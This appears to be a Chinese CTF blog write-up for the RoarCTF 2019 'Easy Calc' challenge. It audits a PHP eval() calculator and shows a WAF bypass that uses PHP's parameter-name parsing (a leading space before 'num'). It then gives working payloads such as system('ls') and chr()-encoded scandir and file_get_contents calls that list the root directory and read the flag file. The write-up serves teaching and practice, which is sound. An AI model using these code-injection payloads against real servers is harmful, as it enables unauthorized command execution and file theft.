BUUCTF_[RoarCTF 2019]Easy Calc(RCE/waf绕过/PHP字符串解析特性/代码审计)

打开靶场

查看源代码

// 为 ID 为 calc 的表单的 submit 事件绑定一个处理函数
$('#calc').submit(function(){
    // 使用 jQuery 的 $.ajax 方法发起一个 AJAX 请求
    $.ajax({
        // 请求的 URL,拼接了一个参数 num,其值是 ID 为 content 的输入框的值并进行了 URI 编码
        url:"calc.php?num="+encodeURIComponent($("#content").val()),
        // 请求的类型为 GET
        type:'GET',
        // 请求成功时的回调函数
        success:function(data){
            // 将返回的数据插入到 ID 为 result 的元素中,以一个带有成功提示样式的 HTML 结构呈现
            $("#result").html(`<div class="alert alert-success">
                <strong>答案:</strong>${data}
            </div>`);
        },
        // 请求失败时的回调函数
        error:function(){
            // 弹出一个警告框提示请求失败
            alert("这啥?算不来!");
        }
    });
    // 阻止表单的默认提交行为
    return false;
});

这段代码是用 jQuery 编写的,其主要功能是当 ID 为 calc 的表单被提交时,阻止表单的默认提交行为,然后通过 AJAX(异步的 JavaScript 和 XML)向 calc.php 发送一个 GET 请求。请求的参数 num 是 ID 为 content 的输入框中的值,并且对该值进行了 URI 编码处理。如果请求成功,会将返回的数据显示在 ID 为 result 的元素中,以一个带有成功提示样式的 HTML 结构呈现;如果请求失败,会弹出一个警告框提示 "这啥?算不来!"。

思路

注释<!--I've set up WAF to ensure security.-->,我以设置waf确保安全。说明要waf绕过。源代码里并没有给出过滤的规则,发现提到了calc.php文件,这个文件负责处理传进来的参数,所以我们尝试访问它。

WAF

WAF 即 Web 应用防火墙(Web Application Firewall)

  • 防范常见攻击
    • SQL 注入防护:通过对请求中的 SQL 语句进行分析,检测是否存在恶意的 SQL 注入代码,防止攻击者通过构造恶意的 SQL 语句来获取、篡改或删除数据库中的数据。
    • 跨站脚本攻击(XSS)防护:识别请求中是否包含恶意的脚本代码,当用户访问受影响的页面时,这些脚本可能会在用户的浏览器中执行,从而窃取用户的敏感信息。
    • 跨站请求伪造(CSRF)防护:验证请求的来源,确保请求是由合法的用户发起的,防止攻击者通过诱导用户在已登录的网站上执行恶意操作。
  • 访问控制:可以根据 IP 地址、地理位置、用户代理等条件对访问进行控制。例如,禁止来自特定 IP 段的访问,或者只允许特定地区的用户访问某些资源。
  • 流量监控和日志记录:对 Web 应用的访问流量进行实时监控,记录所有的请求和响应信息。这些日志可以用于安全审计、故障排查和攻击溯源。

php代码审计

1.错误报告设置

  error_reporting(0);

这行代码将 PHP 的错误报告级别设置为 0,意味着关闭所有的错误报告,这样在代码执行过程中出现的错误不会显示给用户。

2.参数检查与源码显示

  if(!isset($_GET['num'])){
      show_source(__FILE__);
  }

检查是否通过 GET 请求传递了 num 参数。如果没有传递,使用 show_source 函数显示当前 PHP 文件的源代码。

3.输入过滤与执行

else{
    $str = $_GET['num'];
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $str)) {
            die("what are you want to do?");
        }
    }
    eval('echo '.$str.';');
}

如果传递了 num 参数,将其赋值给变量 $str

然后定义了一个黑名单数组 $blacklist,包含了一些特殊字符。

通过 foreach 循环遍历黑名单,

使用 preg_match 函数检查 $str 中是否包含黑名单中的字符

如果包含则终止程序并输出提示信息what are you want to do?。

如果 $str 不包含黑名单中的字符,使用 eval 函数执行 echo $str; 代码 ,将 $str 的内容输出。

函数

foreach

循环主要用于遍历数组或对象,为数组或对象中的每个元素执行一次循环体中的代码。

foreach 循环有两种基本语法形式:

形式一:只获取数组的值

foreach ($array as $value) {
    // 循环体,使用 $value 进行操作
}

这里的 $array 是要遍历的数组,$value 是每次循环时从数组中取出的当前元素的值。

形式二:同时获取数组的键和值

foreach ($array as $key => $value) {
    // 循环体,使用 $key 和 $value 进行操作
}

在这种形式中,$key 是当前元素的键,$value 是当前元素的值。

执行 foreach ($blacklist as $blackitem) 时,具体步骤如下:

  1. $blacklist 数组中取出第一个元素。
  2. 将该元素的值赋给变量 $blackitem
  3. 执行循环体中的代码。
  4. 重复步骤 1 - 3,直到遍历完 $blacklist 数组中的所有元素。

preg_match

用于执行正则表达式匹配的函数。

语法:preg_match(pattern, subject[, matches[, flags = 0[, offset = 0]]])

  • pattern :要匹配的正则表达式模式。

  • subject :要进行匹配操作的目标字符串。

  • matches :可选参数,用于存储匹配结果的数组。如果匹配成功, matches[0] 将包含完整的匹配文本, matches[1] 等将包含正则表达式中捕获组匹配的内容。

  • flags :可选参数,用于指定匹配的标志,常用的有 PREG_OFFSET_CAPTURE ,会使 matches 数组中的每个元素成为一个包含匹配文本和其在 subject 中偏移量的数组。

  • offset :可选参数,指定从 subject 字符串的哪个位置开始匹配,默认为0。

eval()

作用是把字符串作为 PHP 代码来执行。

eval(string $code);
  • $code:这是一个必需的参数,代表要被执行的 PHP 代码字符串。该字符串必须是合法的 PHP 代码,并且通常需要以分号 ; 结尾,否则可能会导致语法错误。
  • 函数返回值:如果代码字符串执行过程中没有错误,eval() 函数返回 NULL;如果执行过程中出现错误,则返回 false

代码注入风险 :由于 eval 函数会执行任意的 PHP 代码,攻击者可以通过构造恶意的 num 参数来执行任意代码,例如执行系统命令、读取敏感文件等。虽然代码中设置了黑名单,但攻击者仍然可能通过绕过黑名单的方式注入恶意代码。

RCE

即远程命令 / 代码执行,是一种严重的网络安全漏洞。

RCE 漏洞通常源于应用程序对用户输入的验证和过滤不严格,使得攻击者可以通过构造恶意输入,绕过应用程序的安全机制,将恶意命令或代码注入到目标系统并执行。常见的触发方式有以下几种:

  • 代码注入 :当应用程序使用动态代码执行函数(如 PHP 的 eval()、Python 的 exec() 等)处理用户输入时,如果没有对输入进行严格的验证和过滤,攻击者就可以注入恶意代码并让系统执行。
  • 命令注入:应用程序在执行系统命令时,如果将用户输入直接拼接到命令中,而没有进行适当的处理,攻击者就可以构造恶意输入来执行额外的命令。

做题步骤

1.waf绕过

经过简单的测试,会发现如果输字符字符会直接WAF禁止,用php字符串解析特性,在num前面加上空格或者+号。

calc.php?num=system('ls');

calc.php? num=system('ls');

服务器会认为传入的参数是 空格num ,而不是 num 。当 空格num 参数传入到后端,被 PHP 代码处理时,会被去除多余空格及特殊字符:如空格、制表符、回车换行符以及某些特殊字符等。这样一来仍然是 num 参数了。

php参数的字符串解析特性:

在php中传参时,PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:删除空白符和将某些字符转换为下划线(包括空格)

2.构造命令查看

显示用var_dump()或print_r()都行,

当前目录用scandir

屏蔽的/可以用chr(47)

calc.php? num=print_r(scandir(chr(47)))
print_r() 函数用于以人类可读的格式输出变量。对于数组和对象,它会递归地显示其结构和元素;对于其他类型的变量,它会直接显示其值。

chr() 函数把 ASCII 码值转换为对应的字符。码值 47 对应的字符是斜杠 /

scandir() 用于列出指定目录中的文件和目录

发现疑似文件f1agg

查看文件用file_get_content()或者highlight_file()都行

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));

其中chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)分别是 '/' 'f' '1' 'a' 'g' 'g' 的 ASCII 值转字符,'.' 用作字符串连接。每一个 chr() 函数返回的结果由于是字符,所以自带了一对引号,不需要额外再加。

highligh_file 函数会读取指定文件的内容,将其中的关键字用黄色背景的 <span> 标签包裹,实现高亮显示,并将结果输出。

页面源码高亮

相关推荐
web182854825122 小时前
【PHP】部署和发布PHP网站到IIS服务器
android·服务器·php
大厂在职_xzG4 小时前
Netty进阶 -- 非阻塞网络编程 实现群聊+私聊+心跳检测系统_netty和非阻塞网络编程
服务器·网络·php
rgrgrwfe5 小时前
linux 网卡配置
linux·网络·php
网络安全(华哥)6 小时前
安全知识之网络扫描器概念与相关技术
网络·安全·php
cs麦子16 小时前
Visual Studio(VS)没有显示垂直滚轮or垂直滚轮异常显示
ide·php·visual studio
yashunan17 小时前
攻防世界ctf
web安全·php
m0_7396757620 小时前
判断192.168.1.0/24网络中,当前在线的ip有哪些
网络·tcp/ip·php
寰宇软件20 小时前
PHP商会招商项目系统小程序
小程序·uni-app·vue·php
非凡的世界1 天前
数据结构在 Web 开发中的重要性与应用
数据库·php·编程语言